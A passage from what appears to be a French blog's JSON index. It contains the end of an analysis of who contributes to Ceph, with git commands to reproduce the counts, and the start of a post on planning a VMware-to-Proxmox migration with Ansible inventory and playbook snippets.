c\u0026rsquo;est aussi pourquoi les individus comptent tant ici.\nLa preuve la plus nette que la porte est ouverte : la cinquième place des trois dernières années est un ingénieur chez IONOS. Max Kellermann a 498 commits depuis 2024 — plus qu\u0026rsquo;Intel, Proxmox, Bloomberg, croit ou Clyso en tant qu\u0026rsquo;entreprises — répartis sur src/mds, src/common, src/mon, src/tools, src/librbd, src/mgr et src/rgw. Il est 19,3 % de tout le travail sur les métadonnées CephFS dans la fenêtre, deuxième derrière Red Hat seulement.\nPersonne ne l\u0026rsquo;a nommé. Il est arrivé et s\u0026rsquo;est mis à réparer des choses, et trois ans plus tard il est l\u0026rsquo;un des contributeurs les plus actifs d\u0026rsquo;un projet mené par une entreprise du Fortune 50. On peut encore entrer dans Ceph et compter.\nProxmox est l\u0026rsquo;autre face de la même pièce : 249 commits sur les trois dernières années, dont 241 de Kefu Chai depuis le 30 septembre 2025. Proxmox est passé de rien à contributeur du top dix de Ceph en onze mois en embauchant un bon ingénieur.\nRGW : c\u0026rsquo;est là qu\u0026rsquo;est vraiment le travail Si vous voulez savoir où va l\u0026rsquo;ingénierie de Ceph, la réponse est le stockage objet, et la raison est simple : c\u0026rsquo;est RGW qui a le plus de chemin à faire avant d\u0026rsquo;égaler ce à quoi il se mesure.\nsrc/rgw est le plus gros sous-système fonctionnel de Ceph sur la décennie — 6 958 commits, devant les 5 827 de Crimson, les 4 499 de l\u0026rsquo;OSD, les 3 848 du tableau de bord, les 2 560 de BlueStore et les 2 546 de CephFS. C\u0026rsquo;est quatre fois l\u0026rsquo;effort de la couche bloc. Sur les trois dernières années il a pris 1 705 commits, deuxième derrière Crimson seulement, et Crimson est une réécriture en terrain vierge. Sur du code livré, RGW est le plus gros programme de fonctionnalités en cours du projet.\nLe S3 d\u0026rsquo;Amazon est une cible mouvante avec une immense surface d\u0026rsquo;API, et chaque année elle gagne des fonctions que les clients attendent ensuite de tout ce qui se dit compatible S3. Alors RGW court après. Comptez les trois dernières années de sujets de commits RGW par domaine fonctionnel et la forme de cette course est claire :\nTravail RGW sur les 3 dernières années Commits qui le mentionnent Réplication multisite 94 Comptes 94 IAM — gestion des identités et des accès 72 Politiques 71 Notifications de bucket 69 STS (identifiants temporaires) 67 Topics 50 Rôles 47 Restauration 41 Passerelle POSIX / système de fichiers 40 Chiffrement côté serveur (SSE) 38 Envoi en plusieurs parties 32 Cycle de vie 16 KMS — service de gestion de clés 12 S3 Select 11 Sommes de contrôle 11 Transition vers le cloud 10 Versionnage, CORS, verrouillage d\u0026rsquo;objet, journalisation de bucket, étiquetage 28 au total (Comptages de mots-clés sur 1 705 sujets de commits, donc un commit peut apparaître dans plus d\u0026rsquo;une ligne — le propos est la distribution, pas un total précis.)\nCe n\u0026rsquo;est pas de la maintenance. Ce sont des comptes d\u0026rsquo;identité, des rôles et des politiques, des jetons de session, des notifications de bucket et des topics, SSE-KMS, le verrouillage d\u0026rsquo;objet, les règles de cycle de vie, S3 Select, les sommes de contrôle, l\u0026rsquo;étagement cloud et la réplication multisite — la liste des fonctions AWS, en train d\u0026rsquo;être bâtie. Lisez les sujets récents et vous trouvez du travail sur la vérification de signature SigV4, la gestion de x-amz-content-sha256, les URL présignées. Du détail de compatibilité pointilleux, du genre qui ne compte que parce que la bibliothèque cliente de quelqu\u0026rsquo;un attend le comportement exact d\u0026rsquo;Amazon et tombera sans lui.\nC\u0026rsquo;est aussi pourquoi RGW a la liste de contributeurs la plus mélangée des gros sous-systèmes. Sur la décennie Red Hat en fait 64,3 %, mais Bloomberg (8,6 % dans la fenêtre récente) et Cafe Bazaar (6,2 %) sont là aussi — des entreprises qui font tourner de gros magasins d\u0026rsquo;objets en production et réparent ce qui les mord.\nSi vous soupesez Ceph pour du travail S3, c\u0026rsquo;est le chiffre qui devrait vous décider. L\u0026rsquo;écart avec Amazon est la raison pour laquelle RGW reçoit plus d\u0026rsquo;attention que quoi que ce soit d\u0026rsquo;autre dans l\u0026rsquo;arbre, et le plus gros effort d\u0026rsquo;ingénierie unique du projet est pointé sur sa fermeture.\nRBD : du code stable, pas un déclin src/librbd est l\u0026rsquo;équipement bloc de Ceph — ce qu\u0026rsquo;utilise Proxmox, ce qu\u0026rsquo;utilise OpenStack Cinder, ce qu\u0026rsquo;utilisent la plupart des pilotes Container Storage Interface de Kubernetes. Si vous faites tourner Ceph, vous faites probablement tourner RBD. Son graphe de commits ressemble à ça :\nLes commits RBD par année — un composant qui s'installe en maintenance Commits vers\u0026#160;src/librbd, par année L'équipement bloc de Ceph — ce qu'utilisent Proxmox, OpenStack Cinder et la plupart des pilotes CSI de Kubernetes 0 100 200 300 400 431 2015 477 2016 258 2017 276 2018 209 2019 455 2020 165 2021 85 2022 49 2023 74 2024 45 2025 19 2026 Travail de fonctionnalités pour l'essentiel terminé Jason Dillaman a écrit 281 des 455 commits de 2020 — cache d'écriture différée persistant et crypto — puis RBD s'est installé en maintenance. 2026 va jusqu'au 27 août. Ce n'est pas un déclin — c'est un composant mûr qu'on entretient plutôt qu'on ne le refait. Les commits vers src/librbd par année. Le gros du travail de fonctionnalités s\u0026rsquo;est terminé vers 2020 — Jason Dillaman a écrit 281 des 455 commits de cette année-là, sur le cache d\u0026rsquo;écriture différée persistant et la crypto — et le composant s\u0026rsquo;est depuis installé en maintenance. 159 commits sur les trois dernières années, environ un par semaine, contre 1 705 pour RGW et 1 944 pour Crimson.\nVoilà à quoi ressemble du code stable, et c\u0026rsquo;est une qualité. Le stockage bloc sur RADOS est un problème résolu. RBD a les instantanés, les clones, l\u0026rsquo;empilement, le miroir, le chiffrement, la migration à chaud et un cache persistant depuis des années, et il n\u0026rsquo;y a rien comme l\u0026rsquo;API S3 qui file devant lui, parce que ce qu\u0026rsquo;un hyperviseur veut d\u0026rsquo;un équipement bloc n\u0026rsquo;a quasiment pas changé en dix ans. Le travail de fonctionnalités est fait. Ce qui reste, c\u0026rsquo;est de l\u0026rsquo;entretien : des corrections de bugs, le suivi du noyau, le gain de performance de temps en temps.\nMettez-le face à RGW exprès. RGW prend dix fois les commits parce qu\u0026rsquo;il a dix fois plus de chemin à faire. RBD non, donc il n\u0026rsquo;en prend pas. Un composant qui a cessé de changer de forme n\u0026rsquo;est pas un composant à l\u0026rsquo;abandon — et si librbd prenait soudain 400 commits par an, je voudrais savoir ce qui a mal tourné, parce que ce sont les disques de mes machines virtuelles qu\u0026rsquo;il tient.\nLa seule chose à savoir, c\u0026rsquo;est que ça met l\u0026rsquo;expertise dans très peu de têtes. RBD, c\u0026rsquo;est plus ou moins Ilya Dryomov, qui s\u0026rsquo;occupe des deux bouts — le Ceph amont et le pilote rbd du noyau Linux. C\u0026rsquo;est à peu près la meilleure configuration possible, et c\u0026rsquo;est quand même une seule personne d\u0026rsquo;épaisseur. Ce qui vous dit à qui demander, pas s\u0026rsquo;il faut déployer.\nOù le travail se situe La même projection sur l\u0026rsquo;arbre, décennie et fenêtre récente côte à côte :\nDomaine Leader de la décennie Part Leader des 3 dernières années Groupe IBM, 3 dern. années src/mds — métadonnées CephFS Red Hat 78,5 % Red Hat 56,4 % 73,9 % src/osd — l\u0026rsquo;OSD actuel Red Hat 69,7 % Red Hat 56,9 % 84,0 % src/cephadm — déploiement Red Hat 66,8 % Red Hat 73,7 % 92,0 % src/rgw — S3 Red Hat 64,3 % Red Hat 56,1 % 66,7 % src/librbd — bloc Red Hat 61,1 % Red Hat 76,7 % 83,0 % src/crimson — le prochain OSD Red Hat 52,1 % Red Hat 42,0 % 45,4 % doc/ — le manuel Red Hat 45,6 % Ceph Foundation 28,4 % 40,5 % src/os/bluestore — le moteur Red Hat 36,9 % IBM 46,5 % 54,2 % src/pybind/mgr/dashboard SUSE 36,6 % IBM 57,5 % 87,8 % Deux choses à lire là-dessus. La propriété : plus on est près des pièces qu\u0026rsquo;un éditeur vend — l\u0026rsquo;outillage de déploiement, l\u0026rsquo;interface graphique — plus c\u0026rsquo;est une seule entreprise ; plus on s\u0026rsquo;en éloigne — l\u0026rsquo;OSD de nouvelle génération, le moteur de stockage, le manuel — plus c\u0026rsquo;est peuplé, et c\u0026rsquo;est là qu\u0026rsquo;il y a de la place si vous voulez contribuer quelque part qui n\u0026rsquo;est pas déjà possédé.\nLe volume : par commits totaux sur la décennie, le classement est RGW 6 958, Crimson 5 827, l\u0026rsquo;OSD 4 499, le tableau de bord 3 848, les moniteurs 2 896, BlueStore 2 560, CephFS 2 546, RBD 1 750, cephadm 1 685. L\u0026rsquo;effort suit la distance qui reste à parcourir, pas la part de déploiement. RGW est premier parce que la parité S3 est loin ; RBD est près du bas parce que le stockage bloc est fini.\nBlueStore mérite sa propre ligne. C\u0026rsquo;est le moteur qui écrit vos octets sur le disque, et sur les trois dernières années le deuxième contributeur après IBM est croit à 18,1 % — Igor Fedotov, son mainteneur principal, dans une entreprise de quelques dizaines de personnes. Mon employeur, alors pesez-moi en conséquence. Le point tient quel que soit celui qui signe son chèque : une petite entreprise peut employer le mainteneur d\u0026rsquo;un des composants les plus critiques pour la sûreté de la pile, et le projet s\u0026rsquo;en porte mieux.\nQui tient le bouton de fusion J\u0026rsquo;ai compté les fusions aussi — 7 893 sur les trois dernières années, attribuées à qui a appuyé sur le bouton :\nOrganisation Fusions Part Red Hat 3 892 49,3 % IBM 1 597 20,2 % Ceph Foundation 524 6,6 % Proxmox 202 2,6 % Intel 136 1,7 % croit 76 1,0 % 69,5 % des fusions contre 68,6 % des commits. La barrière et le travail ont la même forme. Ce n\u0026rsquo;est pas une entreprise qui écrit le code et une autre qui contrôle ce qui atterrit, ce qui est le mode de défaillance qui mérite vraiment qu\u0026rsquo;on s\u0026rsquo;en inquiète dans l\u0026rsquo;open source d\u0026rsquo;entreprise. Ceph ne l\u0026rsquo;a pas.\nD\u0026rsquo;où viennent les nombres Tout est reproductible. Ceph maintient sa propre projection contributeur-vers-organisation dans le dépôt — .organizationmap, à côté de .mailmap, .peoplemap et .githubmap — et documente la commande pour s\u0026rsquo;en servir.\ngit clone --filter=blob:none --no-checkout https://github.com/ceph/ceph.git cd ceph git show HEAD:.organizationmap \u0026gt; /tmp/orgmap # Ceph\u0026#39;s own documented method, over the last ten years git log --no-merges --since=2016-08-27 --until=2026-08-27 --pretty=\u0026#39;%aN \u0026lt;%aE\u0026gt;\u0026#39; \\ | git -c mailmap.file=/tmp/orgmap check-mailmap --stdin \\ | sort | uniq -c | sort -rn | head -30 # the maintainer-to-employer mapping, straight from the repo git show HEAD:doc/governance.rst | sed -n \u0026#39;/^.. _csc:/,/^\\.\\. _ctl:/p\u0026#39; \\ | grep -oE \u0026#39;\\* [^\u0026lt;]+\u0026lt;[^\u0026gt;]+\u0026gt;\u0026#39; Lancez la première et vous obtenez un IBM plus petit que le mien, parce que la projection officielle n\u0026rsquo;est pas à jour. Elle ne connaît pas aainscow@uk.ibm.com, bill_scales@uk.ibm.com, ylifshit@ibm.com, rkachach@ibm.com, leonid.usov@ibm.com ni les noms d\u0026rsquo;hôtes générés li-*.ibm.com. Utiliser l\u0026rsquo;outillage du projet lui-même sous-estime la concentration.\nMes corrections par-dessus la projection :\nToute adresse finissant par ibm.com — y compris uk.ibm.com, il.ibm.com, in.ibm.com, de.ibm.com et les formes li-*.ibm.com — est IBM. redhat.com et inktank.com sont Red Hat, montrés séparément d\u0026rsquo;IBM mais la même équipe depuis octobre 2022. Sept adresses personnelles sont attribuées à des employeurs là où le dépôt lui-même le prouve : sage@newdream.net (Red Hat), idryomov@gmail.com (listé comme idryomov@redhat.com dans le doc/governance.rst de Ceph lui-même), max.kellermann@gmail.com (IONOS), xxhdx1985126@gmail.com (QiAnXin), yuvalif@yahoo.com (IBM), yingxincheng@gmail.com (Intel), shraddha.agrawal000@gmail.com (IBM). Tout le reste garde son domaine. Les adresses personnelles restent « aucun employeur visible » plutôt que d\u0026rsquo;être devinées. Les réserves que je ne peux pas corriger. Le commit est une unité grossière — un refactoring soigné de 900 lignes compte une fois, quarante corrections de fautes de frappe comptent quarante fois, et rien ici n\u0026rsquo;est pondéré. Les domaines d\u0026rsquo;e-mail sont imparfaits : 9,0 % de la décennie ne montre aucun employeur, et certaines de ces personnes sont certainement payées pour écrire du Ceph. La relecture est invisible dans git — Ceph relit dans les pull requests GitHub, pas dans des lignes Reviewed-by:, dont j\u0026rsquo;en ai trouvé douze en trois ans ; la barrière la plus importante du projet ne laisse aucune trace dans un clone. Les chiffres portent sur main seulement, donc les rétroportages vers les branches stables ne sont pas comptés, ce qui sous-estime le travail de maintenance. Et chaque chiffre d\u0026rsquo;adoption ici est un plancher, pour la raison de télémétrie exposée plus haut.\nLà où une affirmation repose sur une date, j\u0026rsquo;ai utilisé la date d\u0026rsquo;auteur ; là où elle repose sur l\u0026rsquo;employeur de quelqu\u0026rsquo;un, une adresse qu\u0026rsquo;il a publiée lui-même.\nCe que j\u0026rsquo;en retire Ceph est un projet financé par des entreprises avec une vraie communauté sur les bords, et c\u0026rsquo;est ainsi depuis toute sa vie commerciale. Ce n\u0026rsquo;est pas une pique. Il faut bien que quelqu\u0026rsquo;un paie des ingénieurs pour entretenir du stockage distribué à cette échelle, et pendant dix ans quelqu\u0026rsquo;un l\u0026rsquo;a fait.\nJe ne prétendrai pas que Ceph est typique, parce que j\u0026rsquo;ai vérifié. Les statistiques de LWN pour Linux 6.15 enregistrent 2 068 développeurs venant d\u0026rsquo;au moins 195 employeurs, la plus grosse entreprise unique, Intel, à 12,0 % des jeux de modifications. Ceph, c\u0026rsquo;est 1 718 personnes sur une décennie avec une entreprise à 67,0 %. Le noyau étale sa dépendance aux entreprises sur des dizaines de sociétés. Ceph la concentre dans une seule. C\u0026rsquo;est une vraie différence, et « tout le monde fait ça » serait une manière paresseuse de l\u0026rsquo;écarter.\nMais voici ce que dix ans de données disent sur l\u0026rsquo;importance de la chose, et c\u0026rsquo;est une meilleure réponse que celle que j\u0026rsquo;étais parti chercher :\nCeph est solide de la façon qui compte. Il a perdu l\u0026rsquo;homme qui l\u0026rsquo;a écrit, qui faisait un cinquième du travail. Il a perdu SUSE, son deuxième contributeur et l\u0026rsquo;auteur du tableau de bord. Il a perdu ZTE, Mirantis, XSKY, EasyStack, Inspur et la moitié des membres fondateurs de la Foundation. Le rythme de commits d\u0026rsquo;aujourd\u0026rsquo;hui est à moins de deux pour cent de celui de l\u0026rsquo;an dernier. Vingt ans d\u0026rsquo;ingénierie du stockage siègent dans cet arbre sous LGPL-2.1 ou LGPL-3, et personne ne peut le fermer, le relicencier ou le reprendre.\nLes mainteneurs sont portables. Fedotov a maintenu BlueStore à travers trois employeurs. Kefu Chai est passé de Red Hat à Proxmox et a continué. Sadeh a écrit RGW chez DreamHost et a changé son adresse au comité pour Ubiquiti en juin dernier. Quand une entreprise s\u0026rsquo;en va, ses gens restent souvent.\nLa porte est vraiment ouverte. Un ingénieur chez IONOS est devenu le cinquième contributeur en trois ans. Proxmox est entré dans le top dix avec une seule embauche. Une entreprise de sécurité sans produit de stockage bâtit un cinquième de l\u0026rsquo;OSD de nouvelle génération. 478 organisations ont envoyé des correctifs. Si vous voulez entrer, rien ne vous arrête que le travail.\nLa base d\u0026rsquo;utilisateurs est bien plus grande que ce que quiconque peut mesurer. Un exaoctet sur 3 000 clusters, c\u0026rsquo;est ce qui a levé la main par une télémétrie qu\u0026rsquo;il faut activer, et le CERN à lui seul pèse dix-neuf clusters de production. Chaque cluster Proxmox hyperconvergé, chaque déploiement Rook, chaque appliance d\u0026rsquo;éditeur avec du Ceph sous le capot est un usage de production réel qu\u0026rsquo;aucun chiffre publié ne compte. Un logiciel déployé aussi largement et aussi discrètement ne disparaît pas comme ça.\nL\u0026rsquo;effort va là où est l\u0026rsquo;écart, pas là où sont les utilisateurs. RGW est le plus gros programme du projet — 6 958 commits sur la décennie — parce que rattraper Amazon sur S3 est une longue course contre une cible mouvante. RBD est près du bas parce que le stockage bloc est fait. Un faible nombre de commits sur un composant mûr est un travail terminé, pas un avertissement, et lire ces deux nombres à l\u0026rsquo;envers est l\u0026rsquo;erreur la plus facile à faire avec des données comme celles-ci. Je l\u0026rsquo;ai faite moi-même au premier passage.\nJugez les fournisseurs sur les commits, pas sur les paliers. L\u0026rsquo;historique est public et quatre lignes de shell vous montreront qui entretient réellement la chose dont vous êtes sur le point de dépendre. Le stockage fermé ne vous offre pas ça, à aucun prix.\nAlors si vous soupesez Ceph : la concentration mérite d\u0026rsquo;être connue quand vous planifiez à cinq ans, et ce n\u0026rsquo;est pas une raison de reculer. Une couche bloc mûre. Le plus gros effort d\u0026rsquo;ingénierie du projet visé droit sur la parité S3. Un futur OSD bâti par trois entreprises à la fois. Un manuel meilleur que la plupart. Une gouvernance qui a traversé la perte de son fondateur. Une décennie de relecture faite à ciel ouvert, le travail de 478 organisations dans l\u0026rsquo;arbre, et une licence dont le pire cas est un fork plutôt qu\u0026rsquo;une impasse. Sur la foi de 69 613 commits, ce projet est en bonne santé.\nEt comptez vous-même si vous doutez de moi. Les commandes sont là-haut, les données sont publiques, et rien dans ce billet ne demande d\u0026rsquo;être cru sur parole — ni la mienne ni celle de personne.\nRéférences Sources du projet Ceph\n« Ceph: A Scalable, High-Performance Distributed File System » — Weil, Brandt, Miller, Long et Maltzahn, OSDI \u0026lsquo;06, novembre 2006. L\u0026rsquo;article dont Ceph est parti ceph/ceph sur GitHub — le dépôt dont vient chaque chiffre de commits ; .organizationmap, .mailmap, .peoplemap, .githubmap, doc/governance.rst et COPYING sont tous dans l\u0026rsquo;arbre Ceph governance — la composition du Conseil exécutif et du Ceph Steering Committee, avec les adresses Ceph component team — les responsables de composants Ceph Foundation members — l\u0026rsquo;adhésion actuelle par palier Ceph Foundation documentation — la structure des paliers et l\u0026rsquo;adhésion Associate gratuite Ceph Foundation members, documentation Quincy — l\u0026rsquo;adhésion telle qu\u0026rsquo;elle était vers 2022 Ceph telemetry module — confirme que la télémétrie s\u0026rsquo;active à la demande « Red Hat\u0026rsquo;s Ceph team is moving to IBM », 4 octobre 2022 Ceph Community Newsletter, novembre 2021 — le retrait de Sage Weil La Ceph Foundation et la Linux Foundation\nIntroducing Ceph Squid — les déclarations des membres Diamond citées ci-dessus, et les chiffres de 1 exaoctet et 3 000 clusters et plus The Linux Foundation Launches Ceph Foundation, 12 novembre 2018 — la liste des membres fondateurs La même annonce via PRNewswire — utilisée pour confirmer la liste de façon indépendante Déploiements\n« Ceph: Infrastructure Storage at CERN » — Enrico Bocchi, CERN IT Storage, 27 septembre 2024. Chaque chiffre du CERN ci-dessus vient de cette présentation Why We Chose Ceph to Build Block Storage — DigitalOcean « We Added 6 Petabytes Of Ceph Storage and No Clients Noticed » — Matthew Leonard et Joseph Mundackal, Bloomberg, Cephalocon 2020 Ceph sur Wikitech — les cinq clusters de production de la Wikimedia Foundation Ceph RBD block storage — la documentation d\u0026rsquo;OVHcloud elle-même Deploy Hyper-Converged Ceph Cluster — Proxmox VE livrant Ceph comme stockage hyperconvergé Entreprises\n« SUSE says tschüss to Ceph-based enterprise storage product », The Register, 25 mars 2021 — SUSE Enterprise Storage annulé au profit de Longhorn Qi An Xin files for $634m IPO, Global Venturing, 13 mai 2020 — les origines de QiAnXin chez Qihoo 360, la participation de CEC et l\u0026rsquo;actionnariat Comparaison\nDevelopment statistics for the 6.15 kernel, LWN.net — les comptes de développeurs et d\u0026rsquo;employeurs du noyau utilisés pour la comparaison de concentration ","permalink":"https://blogs.damiendye.uk/fr/ceph/who-actually-writes-and-uses-ceph/","summary":"J\u0026rsquo;ai compté chaque commit de la branche main de Ceph sur dix ans — 69 613 commits de 1 718 personnes réparties sur 478 organisations — remonté les 38 membres du Steering Committee jusqu\u0026rsquo;à leur employeur, et rassemblé les déploiements déclarés publiquement. Le résultat est un projet qui a absorbé la perte de son fondateur et de son deuxième contributeur sans manquer un pas, et qui livre encore au même rythme aujourd\u0026rsquo;hui.","title":"Qui écrit et qui utilise vraiment Ceph"},{"content":"L\u0026rsquo;hôte existe cette fois. Il est juste sur le mauvais hyperviseur La dernière fois, le problème était que la machine nommée dans l\u0026rsquo;inventaire n\u0026rsquo;existait pas encore — pas d\u0026rsquo;IP, pas de SSH, pas de Python, rien à quoi se connecter. Chaque tâche devait être déléguée loin d\u0026rsquo;elle.\nUne migration VMware inverse cela et ne change rien. La machine existe, elle tourne, des gens s\u0026rsquo;en servent. Vous ne vous y connectez toujours jamais. C\u0026rsquo;est un nom et un sac de variables décrivant quelque chose à reconstruire ailleurs. Chaque tâche tourne toujours sur le nœud de contrôle, et il y a maintenant deux API à l\u0026rsquo;autre bout au lieu d\u0026rsquo;une.\nUne note sur ce que c\u0026rsquo;est. Ce billet est la conception et le playbook, pas un récit de guerre. Je ne l\u0026rsquo;ai pas encore lancé de bout en bout contre un parc de production. Tout ce que je dis sur le comportement des modules ci-dessous a été lu dans le code livré et vérifié, et j\u0026rsquo;ai dit clairement là où une affirmation vient de la source plutôt que d\u0026rsquo;une exécution. Quand j\u0026rsquo;aurai fait une vraie migration avec, les chiffres et les surprises auront leur propre billet.\nVersions contre lesquelles ceci a été vérifié :\n$ ansible --version | head -1 ansible [core 2.20.7] $ ansible-galaxy collection list | grep -E \u0026#39;vmware|proxmox\u0026#39; community.proxmox 1.6.0 community.vmware 6.2.1 vmware.vmware 2.9.0 Les fragments ci-dessous sont découpés d\u0026rsquo;un seul playbook — migrate.yml, un inventaire dynamique vSphere dans inventory/vmware.vms.yml, et un group_vars/all.yml. J\u0026rsquo;ai rendu génériques les noms de datacenter, de nœud et de stockage pour la lisibilité.\nLa forme du travail Cinq étapes, et seule la dernière coûte quelque chose.\ninvités en marche, rien en danger la coupure discover lire les portgroups distribués et leurs étiquettes VLAN sdn une zone VLAN, un VNet par VLAN sur Proxmox build coquilles sans disque, bons CPU, RAM, micrologiciel et MAC relocate storage-vMotion les VMDK vers le NFS, pendant qu'ils tournent cutover éteindre, importer les disques, régler le démarrage et démarrer l'invité Tout le réversible est fait avant qu'on éteigne quoi que ce soit La partie lente est la relocalisation, et elle ne coûte aucun temps d'arrêt. Quand la fenêtre s'ouvre, les disques sont déjà sur un stockage que Proxmox monte, donc la bascule est un import local, pas une copie. Une coquille sans disque est bon marché à supprimer, donc une erreur avant la bascule ne coûte que du temps. Abandonner la migration à mi-chemin laisse chaque invité tournant encore sur VMware, intact. Tout ce qui est réversible se passe en premier. L\u0026rsquo;étape lente est gratuite, et l\u0026rsquo;étape coûteuse est courte, parce qu\u0026rsquo;à ce moment-là les disques sont déjà là où ils doivent être. L\u0026rsquo;ordre est toute la conception. La découverte ne change rien. Bâtir le réseau ne change que Proxmox. Bâtir les coquilles ne change que Proxmox, et une coquille sans disque est bon marché à supprimer. Déplacer les disques est lent mais en vie. Seul le dernier play éteint quoi que ce soit.\nPartez à mi-chemin et chaque invité tourne encore sur VMware, intact.\nDeux collections, et l\u0026rsquo;une d\u0026rsquo;elles est en retrait Il vous faut les deux, et pas pour la raison que vous devineriez.\ncollections: - name: community.vmware version: \u0026#34;\u0026gt;=6.2.1\u0026#34; - name: vmware.vmware version: \u0026#34;\u0026gt;=2.5.0\u0026#34; - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; community.vmware est l\u0026rsquo;ancienne collection large et elle est en cours de démontage. Son MANIFEST.json déclare {\u0026quot;vmware.vmware\u0026quot;: \u0026quot;\u0026gt;=2.5.0\u0026quot;} comme dépendance dure, donc installer la première tire la seconde que vous l\u0026rsquo;ayez demandée ou non. Les modules migrent un à un, et ceux que vous choisissez dans une migration sont à différentes étapes de ce déplacement :\nvmware_dvs_portgroup_info — encore seulement dans community.vmware, et c\u0026rsquo;est lui qui lit vos VLAN. vmware_vmotion — encore seulement dans community.vmware. vmware_guest_powerstate — obsolète, retiré dans community.vmware 7.0.0. Utilisez vmware.vmware.vm_powerstate. vmware_vm_inventory — obsolète, retiré en 7.0.0. Utilisez vmware.vmware.vms. Ansible vous prévient des obsolescences de modules à la première exécution, ce qui est correct de sa part :\n[DEPRECATION WARNING]: community.vmware.vmware_guest_powerstate has been deprecated. Use vmware.vmware.vm_powerstate instead. This feature will be removed from collection \u0026#39;community.vmware\u0026#39; version 7.0.0. Il ne vous prévient pas au sujet du plugin d\u0026rsquo;inventaire, parce que les plugins d\u0026rsquo;inventaire sont analysés avant que cette machinerie ne tourne. Vous devez aller lire le plugin.\nIl y a un troisième piège dans la scission. vmware.vmware.vm_portgroup_info a l\u0026rsquo;air d\u0026rsquo;être exactement ce qu\u0026rsquo;une migration réseau veut — par VM, par NIC, vous donne le portgroup et le VLAN. Mais il est bâti sur ModuleRestBase et importe com.vmware.vapi, ce qui veut dire qu\u0026rsquo;il a besoin du SDK d\u0026rsquo;automatisation vSphere sur le nœud de contrôle, pas seulement de pyVmomi. Son retour documenté est aussi périmé : le bloc RETURN promet name et vlan_id, alors que le code bâtit en fait portgroup_name et un dict vlan_info pour le cas distribué. J\u0026rsquo;ai pris une autre voie, ci-dessous, et n\u0026rsquo;ai eu besoin d\u0026rsquo;aucun des deux.\nL\u0026rsquo;inventaire est la découverte Il n\u0026rsquo;y a pas de play « va trouver les VM » dans ce playbook, parce qu\u0026rsquo;au moment où la première tâche tourne, l\u0026rsquo;inventaire l\u0026rsquo;a déjà fait — en une requête du collecteur de propriétés plutôt qu\u0026rsquo;en une boucle par VM.\n# inventory/vmware.vms.yml plugin: vmware.vmware.vms hostname: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_HOST\u0026#39;) }}\u0026#34; username: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_USER\u0026#39;) }}\u0026#34; password: \u0026#34;{{ lookup(\u0026#39;ansible.builtin.env\u0026#39;, \u0026#39;VMWARE_PASSWORD\u0026#39;) }}\u0026#34; validate_certs: false search_paths: - /Datacenter-1 properties: - name - config.name - config.uuid - config.guestId - config.firmware - config.template - config.hardware.numCPU - config.hardware.numCoresPerSocket - config.hardware.memoryMB - config.hardware.device - summary.runtime.powerState gather_compute_objects: true hostnames: [\u0026#39;name\u0026#39;] filter_expressions: - \u0026#39;config.template\u0026#39; Le nom du fichier compte. Le verify_file du plugin ne réclame que les fichiers finissant par vms.yml, vms.yaml, vmware_vms.yml ou vmware_vms.yaml. Appelez-le vcenter.yml et ce n\u0026rsquo;est silencieusement pas votre inventaire.\nsearch_paths filtre avant la requête, pas après. Sur un grand parc, c\u0026rsquo;est la différence entre des secondes et des minutes — contrairement à filter_expressions, dont la doc est explicite : il tourne après la collecte et « does not affect the speed of the inventory plugin » — n\u0026rsquo;affecte pas la vitesse du plugin d\u0026rsquo;inventaire.\nfilter_expressions écarte un hôte quand l\u0026rsquo;expression est vraie. config.template retire donc les modèles, ce qui se lit à l\u0026rsquo;envers la première fois.\nEt la ligne importante est config.hardware.device, qui n\u0026rsquo;est dans aucune liste de propriétés par défaut nulle part. C\u0026rsquo;est tout l\u0026rsquo;inventaire matériel de la VM, et il porte trois choses sans lesquelles cette migration ne peut avancer : la MAC de chaque NIC, la clé de dvportgroup à laquelle chaque NIC est attachée, et le chemin de datastore de chaque disque. Sans lui, vous revenez à une boucle vmware_guest_info, un aller-retour par VM.\nLes périphériques reviennent en JSON avec leur type vSphere préservé dans _vimtype. C\u0026rsquo;est bon à savoir parce que c\u0026rsquo;est ainsi qu\u0026rsquo;on distingue une NIC d\u0026rsquo;un disque. J\u0026rsquo;ai vérifié l\u0026rsquo;encodeur plutôt que de deviner :\n{ \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.vm.device.VirtualVmxnet3\u0026#34;, \u0026#34;macAddress\u0026#34;: \u0026#34;00:50:56:87:a5:9a\u0026#34;, \u0026#34;backing\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;...DistributedVirtualPortBackingInfo\u0026#34;, \u0026#34;port\u0026#34;: { \u0026#34;_vimtype\u0026#34;: \u0026#34;vim.dvs.PortConnection\u0026#34;, \u0026#34;portgroupKey\u0026#34;: \u0026#34;dvportgroup-1014\u0026#34; } } } Un bloc compose peut donc tirer les chemins pénibles vers des hostvars plates :\ncompose: vm_moid: moid vm_firmware: config.firmware vm_memory_mb: config.hardware.memoryMB vm_num_cpu: config.hardware.numCPU # A virtual NIC is any device with a MAC. Filtering on _vimtype does not # work cleanly here, because VMXNET3, E1000 and SR-IOV cards are all # different types with no shared substring. vm_nics: \u0026gt;- config.hardware.device | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;defined\u0026#39;) | selectattr(\u0026#39;macAddress\u0026#39;, \u0026#39;ne\u0026#39;, None) | list # Disks are one exact type, so this one can match on it. vm_disks: \u0026gt;- config.hardware.device | selectattr(\u0026#39;_vimtype\u0026#39;, \u0026#39;eq\u0026#39;, \u0026#39;vim.vm.device.VirtualDisk\u0026#39;) | list Cette asymétrie est réelle et elle attrape les gens. Il n\u0026rsquo;y a pas de type VirtualEthernetCard à faire correspondre. C\u0026rsquo;est la classe de base abstraite, et ce que vCenter vous remet en fait est VirtualVmxnet3, VirtualE1000, VirtualE1000e, VirtualPCNet32 ou VirtualSriovEthernetCard. Il n\u0026rsquo;y a pas de sous-chaîne commune à tous. Avoir une MAC, en revanche, est une chose que seule une NIC fait.\nChaque module d\u0026rsquo;info cache le champ dont vous avez besoin C\u0026rsquo;est le fil conducteur de tout le travail, et une fois que vous l\u0026rsquo;avez vu trois fois, vous vous mettez à vérifier chaque défaut avant d\u0026rsquo;écrire la tâche.\nvmware_dvs_portgroup_info a six options show_*. Cinq valent true par défaut. La sixième est show_vlan_info, et elle vaut false par défaut.\nshow_mac_learning=dict(type=\u0026#39;bool\u0026#39;, default=True), show_network_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), 